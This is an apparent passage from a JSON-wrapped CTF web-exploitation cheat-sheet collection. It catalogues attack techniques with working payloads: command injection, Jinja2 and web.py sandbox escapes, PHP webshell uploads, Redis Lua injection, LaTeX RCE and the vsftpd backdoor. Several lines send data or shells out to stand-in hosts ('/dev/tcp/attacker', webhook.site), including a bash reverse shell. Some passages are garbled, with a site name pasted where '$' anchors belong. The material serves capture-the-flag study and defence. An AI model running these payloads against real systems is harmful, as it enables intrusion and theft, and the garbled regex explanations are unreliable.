from a file and processes it as a date format string. When user-controlled input reaches a `date` invocation as an argument, this provides arbitrary file read.\n\n```bash\n# Normal behavior: date -f /etc/passwd reads each line as a date string\n# Lines that aren't valid dates print an error message containing the line content\ndate -f /etc/passwd\n# Output includes: date: invalid date 'root:x:0:0:root:/root:/bin/bash'\n# → file contents leak through error messages\n```\n\n```python\nimport subprocess\n\n# Simulate: if web app passes user arg to date command\n# e.g., os.system(f\"date -d '{user_input}'\") where user controls the flag value\n# Or: user_input = \"-f /etc/passwd\" injected into arguments\n\n# Brute-force readable files\ntargets = ['/etc/passwd', '/flag', '/flag.txt', '/home/ctf/flag']\nfor t in targets:\n result = subprocess.run(['date', '-f', t], capture_output=True, text=True)\n print(result.stderr) # errors contain file content\n```\n\n```bash\n# When command injection is available and date is accessible:\ncurl \"http://target/cgi-bin/app.cgi\" --data \"cmd=date+-f+/flag.txt\"\n# Response error output reveals flag content\n```\n\n**Key insight:** `date --file` / `date -f` provides arbitrary file read when the `date` command has user-controlled arguments. Error messages include the unrecognized line content, leaking the file line-by-line. Works on any system with GNU coreutils `date`.\n\n---\n\n## Apache mod_rewrite PATH_INFO Bypass (EKOPARTY 2017)\n\n**Pattern:** Apache mod_rewrite rules match on the request path using regex. Accessing `/index.php/getflag` matches a permissive rule for `/index.php` (allowing the PHP file to handle the request) before any restrictive rule for `/getflag` applies. PHP receives `/getflag` as `PATH_INFO`.\n\n```apache\n# Vulnerable .htaccess / rewrite rules:\nRewriteRule ^index\\.php$ index.php [L] # allows access to index.php\nRewriteRule ^getflag$ /forbidden.html [R,L] # blocks /getflag directly\n```\n\n```bash\n# Direct access — blocked by second rule:\ncurl http://target/getflag # → 403 or redirect to forbidden.html\n\n# PATH_INFO bypass — matches first rule, PHP gets PATH_INFO=/getflag:\ncurl http://target/index.php/getflag # → executes index.php with PATH_INFO=/getflag\n```\n\n```php\n// In index.php — reads PATH_INFO to dispatch\n$action = $_SERVER['PATH_INFO']; // \"/getflag\"\nif ($action === '/getflag') {\n echo $flag;\n}\n```\n\n**Rule ordering matters:** Apache evaluates RewriteRules top-to-bottom and stops at the first `[L]` match. A permissive rule for the PHP file catches `/index.php/anything` before any restrictive rule for the suffix path.\n\n**Key insight:** mod_rewrite rule ordering + PHP PATH_INFO interaction: `/index.php/protected-path` bypasses access controls by matching the PHP file rule first. PHP's `$_SERVER['PATH_INFO']` receives the suffix, letting the application's own routing dispatch to the protected handler.\n\n---\n\n## PHP ReDoS to Skip Code Execution (CODE BLUE 2017)\n\n**Pattern:** PHP's `preg_match()` is synchronous. When a regex with catastrophic backtracking complexity matches user-controlled input, the PCRE engine times out and `preg_match()` returns `false`. Code that runs after the regex check (e.g., an INSERT into an ACL table) never executes. A missing ACL record then becomes equivalent to having no access restriction — or the most permissive default.\n\n```php\n// Vulnerable pattern: regex check followed by ACL insert\nif (preg_match('/^(ADMIN-+)+$/', $role)) {\n // If this times out (returns false), the block is never entered\n // AND code after the if-block may also be skipped or behave differently\n}\n// ACL INSERT that only runs on successful match:\n$db->query(\"INSERT INTO acl (user, role) VALUES (?, ?)\", [$user, 'ADMIN']);\n// Missing ACL row = no restriction applied\n```\n\n```python\nimport requests\n\n# Payload: trigger catastrophic backtracking on the regex (ADMIN-+)+\n# The nested quantifier causes exponential backtracking with enough repetitions\nredos_payload = 'ADMIN-' + '-' * 50 + '!' # trailing ! forces full backtrack\n# Or the classic: ADMIN--(###A)* structure repeated\n\nr = requests.post('http://target/register', data={\n 'username': 'victim',\n 'role': redos_payload\n})\n# If the ACL INSERT is skipped, the user now has no restriction on their account\n```\n\n**Backtracking trigger patterns:**\n```text\nADMIN--(###A)* repeated 20+ times\n(ADMIN-+)+X where X doesn't match, forcing full backtrack\n```\n\n**Key insight:** PHP ReDoS can skip subsequent code entirely — a timed-out `preg_match()` returns `false` (not `0`), and any code gated on that check (like an ACL table INSERT) is silently skipped. This is not just a DoS: it acts as a code execution bypass when missing side effects change application security state.\n\n---\n\n## Custom Serializer Integer Overflow 256 to 0 Length (Codegate 2018)\n\n**Pattern:** A custom PHP file-based database stores records with a format of `\u003ctype_byte>\u003clength_byte>\u003cdata>` per field. The length is stored in a single byte (`chr(len)`). When a field value is exactly 256 bytes, `chr(256)` wraps to `\\x00` (null byte), making the parser treat the length as 0. The remaining 256 bytes of data spill into subsequent field boundaries, allowing the attacker to overwrite fields like password hash or privilege level.\n\n```python\nimport hashlib\nimport requests\n\n# Custom DB format per field: \\x01 (string type) + chr(length) + data\n# Fields stored in order: email, ip, level\n# Goal: overwrite the password hash and level fields by overflowing email\n\n# Craft the payload to inject into the \"email\" field\ntarget_password = \"hacked\"\npw_hash = hashlib.md5(target_password.encode()).hexdigest() # 32 hex chars\n\n# These are the fields we want to inject after the overflow\ninjected_mail = '\\x01\\x20' + pw_hash # type=string, len=32, data=md5(pw)\ninjected_level = '\\x01\\x01' + '2' # type=string, len=1, data='2' (admin)\n\n# Calculate padding to make total email field exactly 256 bytes\noverhead = len(injected_mail) + len(injected_level) + 2 # +2 for the ip field header\npad_len = 256 - overhead\ninjected_ip = '\\x01' + chr(pad_len) + 'A' * pad_len # type=string, padded ip field\n\n# Combine: mail_data + ip_data + level_data = 256 bytes total\n# When stored as email field: chr(256) = chr(0) = \\x00 → length = 0\n# Parser reads 0 bytes for email, then the 256 bytes become the next fields\npayload_email = injected_mail + injected_ip + injected_level\n\n# Register with the overflow payload as the email\nr = requests.post(\"http://target/register\", data={\n \"email\": payload_email,\n \"password\": target_password,\n \"username\": \"attacker\"\n})\nprint(r.text)\n```\n\n```text\n# How the overflow works in the file-based DB:\n\n# Normal record layout:\n# [email_type][email_len][email_data][ip_type][ip_len][ip_data][level_type][level_len][level_data]\n# \\x01 \\x10 [email protected] \\x01 \\x09 127.0.0.1 \\x01 \\x01 1\n\n# Overflow: email is 256 bytes → chr(256) = \\x00\n# [email_type][0x00][...256 bytes of attacker data...]\n# \\x01 \\x00 ← parser reads 0 bytes for email\n# ← the 256 bytes are now parsed as ip, level, etc.\n# ← attacker controls password hash and level fields\n```\n\n```python\n# Generalized overflow finder for custom serialization formats\ndef find_overflow_length(field_width_bytes):\n \"\"\"\n Calculate the overflow value for N-byte length fields.\n 1 byte: overflows at 256 → 0\n 2 bytes: overflows at 65536 → 0\n \"\"\"\n return 2 ** (8 * field_width_bytes)\n\n# 1-byte length: 256 → 0\nassert find_overflow_length(1) == 256\n# 2-byte length: 65536 → 0\nassert find_overflow_length(2) == 65536\n```\n\n**Key insight:** Single-byte length fields overflow at 256 to 0, letting data from one field spill into subsequent fields. Any custom serialization format using fixed-width length fields is vulnerable. Look for field length stored in 1 byte (max 255) or 2 bytes (max 65535). Signs of custom serialization: binary file-based databases, custom session formats, proprietary protocol parsers. The attack requires knowing (or guessing) the exact field order and format in the serialized structure. See also [server-side-deser.md](server-side-deser.md) for standard deserialization attacks.\n\n---\n\n## Unanchored Regex Command Injection (picoCTF 2018)\n\n**Pattern:** Input validation uses `preg_match('/^\u003cip-pattern>/i', $ip)` — missing a trailing ` ctf-web — Skillopedia end-of-string anchor. The match succeeds as long as the string *starts* with a valid IP, so the attacker appends a semicolon and a shell command that still reaches the later `exec(\"ping $ip\")`.\n\n```php\n// Vulnerable\nif (preg_match('/^(\\d{1,3}\\.){3}\\d{1,3}/', $_GET['ip'])) {\n exec(\"ping -c 1 \" . $_GET['ip']);\n}\n```\n\n```bash\ncurl \"http://target/ping.php?ip=1.1.1.1;cat%20/flag.txt\"\n# matches ^1.1.1.1 then executes: ping -c 1 1.1.1.1;cat /flag.txt\n```\n\n**Key insight:** `^pattern` without ` ctf-web — Skillopedia only fixes the prefix, not the suffix. Every form of input validation regex must anchor both ends or use `preg_match('/\\A...\\z/')`. When auditing, grep for `preg_match('/\\^` and check that each hit also has `\\$/` or `\\\\z/`. The same bug appears in JavaScript `String.match` and Python `re.match` (which is implicitly left-anchored but not right-anchored).\n\n**References:** picoCTF 2018 — Fancy Alive Monitoring, writeups 11706, 11721, 11761\n\n---\n\n## Jinja2 SSTI via globals.__self__.exec() String Concat Bypass (InCTF 2018)\n\n**Pattern:** Template filter blocks `__class__`, `os`, `import`, `eval`, `subprocess`, and a few other literals. Walk from any already-bound Jinja variable to `globals.__self__` (the Python builtins module) and call `exec` on a payload whose forbidden substrings are rebuilt at runtime from string concatenation.\n\n```text\n{{ globals.__self__.exec(\"imp\" + \"ort o\" + \"s;o\" + \"s.system('cat /flag')\") }}\n\n# Alternative via any Python object already in context:\n{{ request.__class__.__init__.__globals__.__builtins__.exec(\n \"__imp\"+\"ort__('o'+'s').system('id')\"\n) }}\n```\n\n**Key insight:** Any function object in Jinja's scope exposes `__globals__` (and via that, the real `builtins`). Even when `os`, `import`, and `__class__` are blacklisted, string concatenation and `chr(...)`-style tricks split the forbidden words across literal segments that the pre-render filter never sees joined. To harden, use `jinja2.sandbox.SandboxedEnvironment` instead of a string blocklist.\n\n**References:** InCTF 2018 — TorPy, writeup 11519\n\n---\n\n## web.py reparam() eval + __subclasses__ with Blanked Builtins (HITCON 2018)\n\n**Pattern:** `web.py`'s `reparam()` calls `eval(expr, {\"__builtins__\": object()}, context)` to interpolate `${...}` placeholders into SQL. `__builtins__` is replaced with a bare `object()` to block `__import__`, but `[].__class__.__base__.__subclasses__()` still enumerates every loaded class — including `subprocess.Popen`. An SQLi-like injection in the `limit` or `order` parameter escapes into the eval context.\n\n```python\n# web.py 0.38 sink (db.select passes limit through reparam)\ndb.select('posts',\n limit=user_input, # interpolated via ${...} eval\n order='ups desc')\n\n# Payload — list all subclasses to locate Popen, then call it\nuser_input = (\n \"1 ${[c for c in ().__class__.__base__.__subclasses__()\"\n \" if c.__name__ == 'Popen'][0](['/bin/sh','-c','cat /flag'],\"\n \"stdout=-1).communicate()[0]}\"\n)\n```\n\n**Key insight:** Replacing `__builtins__` with a blank object blocks `__import__`, `open`, and `eval`, but class-tree traversal still reaches any module imported before the sandbox was set up. Any Python eval that does not also replace `__builtins__` with `{\"__builtins__\": {}}` *and* restrict globals is bypassable via `().__class__.__base__.__subclasses__()`. Look for framework-level eval in Django templates (`{% eval %}`), web.py `reparam`, Flask Jinja with custom filters, and Mako `\u003c%...%>` blocks.\n\n**References:** HITCON CTF 2018 — Oh My Raddit v2, writeup 11931\n\n---\n\n## Redis Lua Injection via redis.call() (HumanCTF 2018)\n\n**Pattern:** Application runs a Redis Lua script with a user-controlled argument that is concatenated into the script source instead of passed as `ARGV`. The attacker breaks out of the string literal and invokes `redis.call('GET', 'admin')` — Lua's direct Redis bridge — to read blocked keys.\n\n```lua\n-- Vulnerable script (string-concatenated)\nlocal script = \"return redis.call('GET', '\" .. user_key .. \"')\"\nredis.eval(script, 0)\n```\n\n```text\n# Injected parameter\n?n=123') and redis.call('get', 'admin') --\n\n# Final Lua:\nreturn redis.call('GET', '123') and redis.call('get', 'admin') -- ')\n```\n\n```python\nimport requests\nr = requests.get(\"http://target/admin\", params={\n \"n\": \"123') and redis.call('get', 'admin') --\"\n})\nprint(r.text)\n```\n\n**Key insight:** Redis Lua scripts expose `redis.call()` and `redis.pcall()` — they are the intended Redis bridge inside Lua, so a blocklist of Redis commands in the HTTP layer is useless once any Lua injection lands. Always pass untrusted values through `KEYS[...]` / `ARGV[...]`, never concatenate them into the script body. When Lua is unavoidable, sandbox the script with `redis-cli SCRIPT LOAD` + signed SHA1 and refuse scripts the client did not precompile.\n\n**References:** HumanCTF / HackOver 2018 — No vuln, trust me, writeup 11816\n\n---\n\n## PHP create_function String Interpolation RCE (FireShell 2019)\n\n**Pattern:** Classic PHP gadget: server calls `create_function('$a, $b', 'return strcmp($a->'.$order.', $b->'.$order.');')` with a user-controlled `$order`. Supply `; system($_GET[c]); return 0; //` to close the `strcmp` prematurely and run arbitrary PHP inside the generated anonymous function.\n\n```text\norder=;system($_GET[c]);return 0;//\n&c=id\n```\n\n**Key insight:** Any PHP function that builds code from a string and hands it to `eval`/`create_function`/`assert` accepts arbitrary PHP with the right semicolon/comment dance. Grep for `create_function` in legacy codebases — it is removed in PHP 8 but still common in CTFs mirroring 2018-era apps.\n\n**References:** FireShell CTF 2019 — Bad injections, writeup 12917\n\n---\n\n## php://input + NULL Byte + ~Bitwise base64 Filter Bypass (DefCamp 2018)\n\n**Pattern:** `include` endpoint expects a base64-encoded filename. `base64_decode` fails silently on invalid input, but the filename still gets written out as `$name.php`. Inject `name=z.php%00` to NULL-truncate the written filename, then send `data=_`.`~\\x9c\\x9e\\x8b` via POST → `php://input`. PHP's bitwise-NOT operator (`~`) turns non-base64 bytes into ASCII opcodes like `cat`, evading the base64 validator while still landing executable PHP on disk.\n\n```text\nGET: ?name=z.php%00&file=php://input\nPOST body: \u003c?=`~(chr(0x9c).chr(0x9e).chr(0x8b))`?>\n```\n\nFollow up with `GET /z.php?c=cat%20/flag`.\n\n**Key insight:** Write-side filters that only check the URL-encoded name are bypassed by `%00`. Read-side filters that only check base64 alphabet are bypassed by PHP's non-string bitwise operators — they generate the same opcodes without ever matching the filter regex.\n\n**References:** DefCamp CTF Finals 2018 — Scribbles, writeup 12131\n\n---\n\n## EXIF ImageDescription Shell Injection via exiftool (OTW Advent 2018)\n\n**Pattern:** Server runs `exiftool` on uploaded images and pastes the `-ImageDescription` field into a shell command unquoted. Inject `; command` (or `$(cmd)`) directly into the metadata with an attacker-set exiftool write, then upload.\n\n```bash\nexiftool -ImageDescription=\"Santa ; /bin/bash -c 'cat /opt/flag > /dev/tcp/attacker/8081'\" evil.jpg\ncurl -F [email protected] http://target/\n```\n\n**Key insight:** Image upload sinks that parse metadata with `exiftool`, `identify`, or `ffprobe` often pipe the result straight to `exec`/`system`/`sh -c`. Any metadata string field — `ImageDescription`, `Artist`, `Software`, GPS tags — is a shell injection vector. Fix with `escapeshellarg()` or by exporting metadata as JSON and whitelisting field names.\n\n**References:** OverTheWire Advent 2018 — Santa's little recorders, writeup 12753\n\n---\n\n## .phar Extension Bypass for PHP Upload Blacklists (35C3 2018)\n\n**Pattern:** Apache's PHP handler also matches `.phar` by default, but upload filters frequently only blacklist `.php`, `.phtml`, `.phps`. Rename your shell to `.phar`, append a PHP payload to a valid image, upload — and the Apache handler parses it as PHP. Works through many XSS-protection / image-upload flows.\n\n```http\nPOST /upload HTTP/1.1\nfilename=shell.phar\n\n[JPEG header] \u003c?php system($_GET[\"c\"]); ?>\n```\n\n**Key insight:** Always enumerate every extension the PHP handler accepts. In default configs that is `.php`, `.phtml`, `.phps`, `.php3`, `.php4`, `.php5`, `.php7`, and `.phar`. Upload blacklists need all of them.\n\n**References:** 35C3 CTF 2018 — express-yourself, writeup 12880\n\n---\n\n## vsftpd 2.3.4 Smiley-Face Backdoor (P.W.N. CTF 2018)\n\n**Pattern:** vsftpd 2.3.4 shipped with a compromised source release (CVE-2011-2523): any username ending in `:)` triggers a bind shell on TCP port 6200. Detect the vulnerable version via FTP banner or service fingerprint; trigger the backdoor; connect to port 6200 for root shell.\n\n```bash\nftp target 21\nUSER anonymous:)\nnc target 6200\n```\n\n**Key insight:** Supply-chain backdoors live forever. Any FTP server running vsftpd 2.3.4 (version string in the banner) has this. Same class of backdoor hit proftpd-1.3.3c and unreal-ircd-3.2.8.1 — memorise the set.\n\n**References:** P.W.N. CTF 2018 — Very Secure FTP, writeup 12060\n\n---\n\n*See also: [server-side.md](server-side.md) for core injection attacks (SQLi, SSTI, SSRF, XXE, command injection, PHP type juggling, PHP file inclusion).*\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":39536,"content_sha256":"ece194a62fa077c933cc6cc83b46dc143eb1b97b4de22f7db80e8d70b7abe3d7"},{"filename":"server-side-exec.md","content":"# CTF Web - Server-Side Code Execution & Access Attacks\n\n## Table of Contents\n- [Ruby Code Injection](#ruby-code-injection)\n - [instance_eval Breakout](#instance_eval-breakout)\n - [Bypassing Keyword Blocklists](#bypassing-keyword-blocklists)\n - [Exfiltration](#exfiltration)\n- [Ruby ObjectSpace Memory Scanning for Flag Extraction (Tokyo Westerns 2016)](#ruby-objectspace-memory-scanning-for-flag-extraction-tokyo-westerns-2016)\n- [Perl open() RCE](#perl-open-rce)\n- [LaTeX Injection RCE (Hack.lu CTF 2012)](#latex-injection-rce-hacklu-ctf-2012)\n- [Server-Side JS eval Blocklist Bypass](#server-side-js-eval-blocklist-bypass)\n- [PHP preg_replace /e Modifier RCE (PlaidCTF 2014)](#php-preg_replace-e-modifier-rce-plaidctf-2014)\n- [PHP Backtick Eval Under Character Limit (EasyCTF 2017)](#php-backtick-eval-under-character-limit-easyctf-2017)\n- [PHP assert() String Evaluation Injection (CSAW CTF 2016)](#php-assert-string-evaluation-injection-csaw-ctf-2016)\n- [Prolog Injection (PoliCTF 2015)](#prolog-injection-polictf-2015)\n- [ReDoS as Timing Oracle](#redos-as-timing-oracle)\n- [File Upload to RCE Techniques](#file-upload-to-rce-techniques)\n - [.htaccess Upload Bypass](#htaccess-upload-bypass)\n - [PHP Log Poisoning](#php-log-poisoning)\n - [Python .so Hijacking (by Siunam)](#python-so-hijacking-by-siunam)\n - [Gogs Symlink RCE (CVE-2025-8110)](#gogs-symlink-rce-cve-2025-8110)\n - [ZipSlip + SQLi](#zipslip--sqli)\n- [PHP Deserialization from Cookies](#php-deserialization-from-cookies)\n- [PHP extract() / register_globals Variable Overwrite (SecuInside 2013)](#php-extract--register_globals-variable-overwrite-secuinside-2013)\n- [XPath Blind Injection (BaltCTF 2013)](#xpath-blind-injection-baltctf-2013)\n- [API Filter/Query Parameter Injection](#api-filterquery-parameter-injection)\n- [HTTP Response Header Data Hiding](#http-response-header-data-hiding)\n- [WebSocket Mass Assignment](#websocket-mass-assignment)\n- [Thymeleaf SpEL SSTI + Spring FileCopyUtils WAF Bypass (ApoorvCTF 2026)](#thymeleaf-spel-ssti--spring-filecopyutils-waf-bypass-apoorvctf-2026)\n- [PHP eval() Function-Regex Bypass via current(getallheaders()) (RCTF 2018)](#php-eval-function-regex-bypass-via-currentgetallheaders-rctf-2018)\n- [Python f-string Format Injection Blind Extraction (Meepwn CTF Quals 2018)](#python-f-string-format-injection-blind-extraction-meepwn-ctf-quals-2018)\n\nFor injection attacks (SQLi, SSTI, SSRF, XXE, command injection, PHP type juggling, PHP file inclusion), see [server-side.md](server-side.md). For deserialization attacks (Java, Pickle) and race conditions, see [server-side-deser.md](server-side-deser.md). For CVE-specific exploits, path traversal bypasses, Flask/Werkzeug debug, and other advanced techniques, see [server-side-advanced.md](server-side-advanced.md).\n\n*See also: [server-side-exec-2.md](server-side-exec-2.md) for SQLi keyword fragmentation bypass, SQL WHERE ORDER BY bypass, SQL injection via DNS records, bash brace expansion, Common Lisp reader macro injection, PHP7 OPcache + LD_PRELOAD bypass, wget filename trick, tar filename injection, PNG/PHP polyglot upload, editor backup file disclosure, date -f file read, Apache mod_rewrite bypass, and PHP ReDoS code skip.*\n\n---\n\n## Ruby Code Injection\n\n### instance_eval Breakout\n```ruby\n# Template: apply_METHOD('VALUE')\n# Inject VALUE as: valid');PAYLOAD#\n# Result: apply_METHOD('valid');PAYLOAD#')\n```\n\n### Bypassing Keyword Blocklists\n| Blocked | Alternative |\n|---------|-------------|\n| `File.read` | `Kernel#open` or class helper methods |\n| `File.write` | `open('path','w'){|f|f.write(data)}` |\n| `system`/`exec` | `open('\\|cmd')`, `%x[cmd]`, `Process.spawn` |\n| `IO` | `Kernel#open` |\n\n### Exfiltration\n```ruby\nopen('public/out.txt','w'){|f|f.write(read_file('/flag.txt'))}\n# Or: Process.spawn(\"curl https://webhook.site/xxx -d @/flag.txt\").tap{|pid| Process.wait(pid)}\n```\n\n**Key insight:** Ruby's `instance_eval` and `Kernel#open` are common injection sinks. When keywords like `File`, `system`, or `IO` are blocked, use `open('|cmd')` or `Process.spawn` -- Ruby has many built-in ways to execute commands that bypass simple blocklists.\n\n---\n\n## Ruby ObjectSpace Memory Scanning for Flag Extraction (Tokyo Westerns 2016)\n\nIn Ruby sandbox challenges where direct variable access is blocked, use `ObjectSpace.each_object` to scan the entire heap for flag strings.\n\n```ruby\n# When you can't access the flag variable directly:\n# Method 1: ObjectSpace heap scan\nObjectSpace.each_object(String) { |x| x[0..3] == \"TWCT\" and print x }\n\n# Method 2: Monkey-patch to access private methods\n# If object 'p' has private method 'flag':\ndef p.x; flag end; p.x\n\n# Method 3: Use send() to bypass private visibility\np.send(:flag)\n\n# Method 4: Use method() to get method object\np.method(:flag).call\n```\n\n**Key insight:** Ruby's `ObjectSpace.each_object(String)` iterates every live String in the Ruby heap, including those stored in private variables or internal state. Filter by known flag prefix to extract the flag even when no direct reference exists.\n\n---\n\n## Perl open() RCE\nLegacy 2-argument `open()` allows command injection:\n```perl\nopen(my $fh, $user_controlled_path); # 2-arg open interprets mode chars\n# Exploit: \"|command_here\" or \"command|\"\n```\n\n**Key insight:** Perl's 2-argument `open()` interprets mode characters in the filename itself. A leading or trailing pipe (`|`) causes command execution. Any Perl CGI or backend that opens a user-supplied filename with the 2-arg form is vulnerable to RCE.\n\n---\n\n## LaTeX Injection RCE (Hack.lu CTF 2012)\n\n**Pattern:** Web applications that compile user-supplied LaTeX (PDF generation services, scientific paper renderers) allow command execution via `\\input` with pipe syntax.\n\n**Read files:**\n```latex\n\\begingroup\\makeatletter\\endlinechar=\\m@ne\\everyeof{\\noexpand}\n\\edef\\x{\\endgroup\\def\\noexpand\\filecontents{\\@@input\"/etc/passwd\" }}\\x\n\\filecontents\n```\n\n**Execute commands:**\n```latex\n\\input{|\"id\"}\n\\input{|\"ls /home/\"}\n\\input{|\"cat /flag.txt\"}\n```\n\n**Full payload as standalone document:**\n```latex\n\\documentclass{article}\n\\begin{document}\n{\\catcode`_=12 \\ttfamily\n\\input{|\"ls /home/user/\"}\n}\n\\end{document}\n```\n\n**Key insight:** LaTeX's `\\input{|\"cmd\"}` syntax pipes shell command output directly into the document. The `\\@@input` internal macro reads files without shell invocation. Use `\\catcode` adjustments to handle special characters (underscores, braces) in command output.\n\n**Detection:** Any endpoint accepting `.tex` input, PDF preview/compile services, or \"render LaTeX\" functionality.\n\n---\n\n## Server-Side JS eval Blocklist Bypass\n\n**Bypass via string concatenation in bracket notation:**\n```javascript\nrow['con'+'structor']['con'+'structor']('return this')()\n// Also: template literals, String.fromCharCode, reverse string\n```\n\n**Key insight:** JavaScript `eval` blocklists filtering keywords like `require`, `process`, or `constructor` are bypassed with string concatenation in bracket notation. `['con'+'structor']` accesses `Function` constructor, which creates functions from strings -- equivalent to `eval` with no keyword to block.\n\n---\n\n## PHP preg_replace /e Modifier RCE (PlaidCTF 2014)\n\n**Pattern:** PHP's `preg_replace()` with the `/e` modifier evaluates the replacement string as PHP code. Combined with `unserialize()` on user-controlled input, craft a serialized object whose properties trigger a code path using `preg_replace(\"/pattern/e\", \"system('cmd')\", ...)`.\n\n```php\n// Vulnerable code pattern:\npreg_replace($pattern . \"/e\", $replacement, $input);\n// If $replacement is attacker-controlled:\n$replacement = 'system(\"cat /flag\")';\n```\n\n**Via object injection (POP chain):**\n```php\n// Craft serialized object with OutputFilter containing /e pattern\n$filter = new OutputFilter(\"/^./e\", 'system(\"cat /flag\")');\n$cookie = serialize($filter);\n// Send as cookie → unserialize triggers preg_replace with /e\n```\n\n**Key insight:** The `/e` modifier (deprecated in PHP 5.5, removed in PHP 7.0) turns `preg_replace` into an eval sink. In CTFs targeting PHP 5.x, check for `/e` in regex patterns. Combined with `unserialize()`, this enables RCE through POP gadget chains that set both pattern and replacement.\n\n---\n\n## PHP Backtick Eval Under Character Limit (EasyCTF 2017)\n\n**Pattern:** PHP backtick operator executes shell commands. When `eval()` input has a character limit, backticks provide shell execution in minimal characters.\n\n```php\n// 11-character RCE via eval()\necho`cat *`;\n\n// 8-character directory listing\necho`ls`;\n\n// 10-character parameterized command execution\n`$_GET[0]`;\n\n// 12-character reverse shell trigger\n`$_GET[x]`;\n// Then pass the full command via GET parameter: ?x=bash -i >& /dev/tcp/attacker/4444 0>&1\n```\n\n**Character count comparison:**\n```text\necho`cat *`; // 12 chars - read all files\necho`ls`; // 9 chars - list directory\n`$_GET[0]`; // 11 chars - parameterized execution\nsystem('id'); // 13 chars - standard approach\nexec('id'); // 11 chars - also standard\n```\n\n**Key insight:** PHP backticks are equivalent to `shell_exec()`. When `eval()` input has a character limit, `` echo`cmd` `` provides shell execution in as few as 8 characters. The `$_GET[0]` trick moves the actual payload to a URL parameter, effectively bypassing the character limit entirely while keeping the eval payload minimal.\n\n---\n\n## PHP assert() String Evaluation Injection (CSAW CTF 2016)\n\nPHP's `assert()` evaluates string arguments as PHP code. When user input is concatenated into assert(), it enables code injection.\n\n```php\n// Vulnerable code pattern:\nassert(\"strpos('$page', '..') === false\");\n\n// Injection payload via $page parameter:\n// ' and die(show_source('templates/flag.php')) or '\n// Results in: assert(\"strpos('' and die(show_source('templates/flag.php')) or '', '..') === false\");\n\n// URL: ?page=' and die(show_source('templates/flag.php')) or '\n// Alternative payloads:\n// ' and die(system('cat /flag')) or '\n// '.die(highlight_file('config.php')).'\n```\n\n**Key insight:** PHP `assert()` with string arguments acts like `eval()`. This was deprecated in PHP 7.2 and removed in PHP 8.0, but legacy applications remain vulnerable. Look for `assert()` in source code (especially via exposed `.git` directories).\n\n---\n\n## Prolog Injection (PoliCTF 2015)\n\n**Pattern:** Service passes user input directly into a Prolog predicate call. Close the original predicate and inject additional Prolog goals for command execution.\n\n```text\n# Original query: hanoi(USER_INPUT)\n# Injection: close hanoi(), chain exec()\n3), exec(ls('/')), write('\\n'\n3), exec(cat('/flag')), write('\\n'\n```\n\n**Identification:** Error messages containing \"Prolog initialisation failed\" or \"Operator expected\" reveal the backend. SWI-Prolog's `exec/1` and `shell/1` execute system commands.\n\n**Key insight:** Prolog goals are chained with `,` (AND). Injecting `3), exec(cmd)` closes the original predicate and appends arbitrary Prolog goals. Similar to SQL injection but for logic programming backends. Also check for `process_create/3` and `read_file_to_string/3` as alternatives to `exec`.\n\n---\n\n## ReDoS as Timing Oracle\n\n**Pattern (0xClinic):** Match user-supplied regex against file contents. Craft exponential-backtracking regexes that trigger only when a character matches.\n\n```python\ndef leak_char(known_prefix, position):\n for c in string.printable:\n pattern = f\"^{re.escape(known_prefix + c)}(a+)+$\"\n start = time.time()\n resp = requests.post(url, json={\"title\": pattern})\n if time.time() - start > threshold:\n return c\n```\n\n**Combine with path traversal** to target `/proc/1/environ` (secrets), `/proc/self/cmdline`.\n\n---\n\n## File Upload to RCE Techniques\n\n**Key insight:** File upload vulnerabilities become RCE when you can control either the file extension (`.htaccess`, `.php`, `.so`) or the upload path (path traversal). Try uploading server config files (`.htaccess`), shared libraries (`.so`), or use log poisoning as fallback when direct code upload is blocked.\n\n### .htaccess Upload Bypass\n1. Upload `.htaccess`: `AddType application/x-httpd-php .lol`\n2. Upload `rce.lol`: `\u003c?php system($_GET['cmd']); ?>`\n3. Access `rce.lol?cmd=cat+flag.txt`\n\n### PHP Log Poisoning\n1. PHP payload in User-Agent header\n2. Path traversal to include: `....//....//....//var/log/apache2/access.log`\n\n### Python .so Hijacking (by Siunam)\n1. Compile: `gcc -shared -fPIC -o auth.so malicious.c` with `__attribute__((constructor))`\n2. Upload via path traversal: `{\"filename\": \"../utils/auth.so\"}`\n3. Delete .pyc to force reimport: `{\"filename\": \"../utils/__pycache__/auth.cpython-311.pyc\"}`\n\nReference: https://siunam321.github.io/research/python-dirty-arbitrary-file-write-to-rce-via-writing-shared-object-files-or-overwriting-bytecode-files/\n\n### Gogs Symlink RCE (CVE-2025-8110)\n1. Create repo, `ln -s .git/config malicious_link`, push\n2. API update `malicious_link` → overwrites `.git/config`\n3. Inject `core.sshCommand` with reverse shell\n\n### ZipSlip + SQLi\nUpload zip with symlinks for file read, path traversal for file write.\n\n---\n\n## PHP Deserialization from Cookies\n```php\nO:8:\"FilePath\":1:{s:4:\"path\";s:8:\"flag.txt\";}\n```\nReplace cookie with base64-encoded malicious serialized data.\n\n**Key insight:** PHP cookies containing base64-encoded data are likely `unserialize()` targets. Craft a serialized object with a `path` property pointing to `flag.txt` or inject a POP chain for RCE. Decode the existing cookie first to identify the class name and property structure.\n\n---\n\n## PHP extract() / register_globals Variable Overwrite (SecuInside 2013)\n\n**Pattern:** `extract($_GET)` or `extract($_POST)` overwrites internal PHP variables with user-supplied values, enabling database credential injection, path manipulation, or authentication bypass.\n\n```php\n// Vulnerable pattern\nif (!ini_get(\"register_globals\")) extract($_GET);\n// Attacker-controlled: $_BHVAR['db']['host'], $_BHVAR['path_layout'], etc.\n```\n\n```text\nGET /?_BHVAR[db][host]=attacker.com&_BHVAR[db][user]=root&_BHVAR[db][pass]=pass\n```\n\n**Key insight:** `extract()` imports array keys as local variables. Overwrite database connection parameters to point to an attacker-controlled MySQL server, then return crafted query results (file paths, credentials, etc.).\n\n**Detection:** Search source for `extract($_GET)`, `extract($_POST)`, `extract($_REQUEST)`. PHP `register_globals` (removed in 5.4) had the same effect globally.\n\n---\n\n## XPath Blind Injection (BaltCTF 2013)\n\n**Pattern:** XPath queries constructed from user input enable blind data extraction via boolean-based or content-length oracles.\n\n```text\n-- Injection in sort/filter parameter:\n1' and substring(normalize-space(../../../node()),1,1)='a' and '2'='2\n\n-- Boolean detection: response length > threshold = true\n-- Extract character by character:\nfor pos in range(1, 100):\n for c in string.printable:\n payload = f\"1' and substring(normalize-space(../../../node()),{pos},1)='{c}' and '2'='2\"\n if len(requests.get(url, params={'sort': payload}).text) > 1050:\n result += c; break\n```\n\n**Key insight:** XPath injection is similar to SQL injection but targets XML data stores. `normalize-space()` strips whitespace, `../../../` traverses the XML tree. Boolean oracle via response size differences (true queries return more results).\n\n---\n\n## API Filter/Query Parameter Injection\n\n**Pattern (Poacher Supply Chain):** API 